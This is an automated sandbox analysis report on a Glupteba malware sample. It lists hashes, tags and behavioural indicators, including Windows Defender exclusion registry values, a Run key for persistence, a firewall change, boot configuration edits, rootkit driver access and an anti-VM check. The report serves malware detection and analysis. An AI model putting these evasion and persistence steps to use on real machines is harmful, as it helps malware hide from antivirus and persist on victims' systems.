Malware Analysis Report

2024-10-16 05:07

Sample ID 240728-gxe8davhkg
Target 0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118
SHA256 556848f1d6b1c534ed925865de31a3d1669aac08d02674fd212762b6a15eaa49
Tags
glupteba discovery dropper evasion loader persistence privilege_escalation rootkit trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

556848f1d6b1c534ed925865de31a3d1669aac08d02674fd212762b6a15eaa49

Threat Level: Known bad

The file 0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

glupteba discovery dropper evasion loader persistence privilege_escalation rootkit trojan

Glupteba

Glupteba payload

Windows security bypass

Modifies Windows Firewall

Windows security modification

Executes dropped EXE

Loads dropped DLL

Adds Run key to start application

Checks installed software on the system

Modifies boot configuration data using bcdedit

Manipulates WinMonFS driver.

Checks for VirtualBox DLLs, possible anti-VM trick

Drops file in Windows directory

Program crash

Unsigned PE

Event Triggered Execution: Netsh Helper DLL

System Location Discovery: System Language Discovery

Suspicious use of WriteProcessMemory

Scheduled Task/Job: Scheduled Task

Suspicious use of AdjustPrivilegeToken

Uses Task Scheduler COM API

Modifies data under HKEY_USERS

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-28 06:10

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-28 06:10

Reported

2024-07-30 19:25

Platform

win7-20240708-en

Max time kernel

147s

Max time network

134s

Command Line

"C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe"

Signatures

Glupteba

loader dropper glupteba

Glupteba payload

Description Indicator Process Target
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Windows security bypass

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\a7fadc2ead90\a7fadc2ead90 = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\PurpleWind = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a7fadc2ead90.exe = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\netsh.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Windows\rss\csrss.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe N/A
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Windows security modification

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a7fadc2ead90.exe = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\a7fadc2ead90\a7fadc2ead90 = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\PurpleWind = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\PurpleWind = "\"C:\\Windows\\rss\\csrss.exe\"" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A

Checks installed software on the system

discovery

Manipulates WinMonFS driver.

rootkit evasion
Description Indicator Process Target
File opened for modification \??\WinMonFS C:\Windows\rss\csrss.exe N/A

Modifies boot configuration data using bcdedit

Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Checks for VirtualBox DLLs, possible anti-VM trick

Description Indicator Process Target
File opened (read-only) \??\VBoxMiniRdrDN C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\rss C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
File created C:\Windows\rss\csrss.exe C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
File created C:\Windows\Logs\CBS\CbsPersist_20240730192326.cab C:\Windows\system32\makecab.exe N/A

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\rss\csrss.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 C:\Windows\rss\csrss.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." C:\Windows\system32\netsh.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" C:\Windows\system32\netsh.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" C:\Windows\system32\netsh.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-421 = "Russian Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" C:\Windows\system32\netsh.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session C:\Windows\system32\netsh.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" C:\Windows\system32\netsh.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe N/A
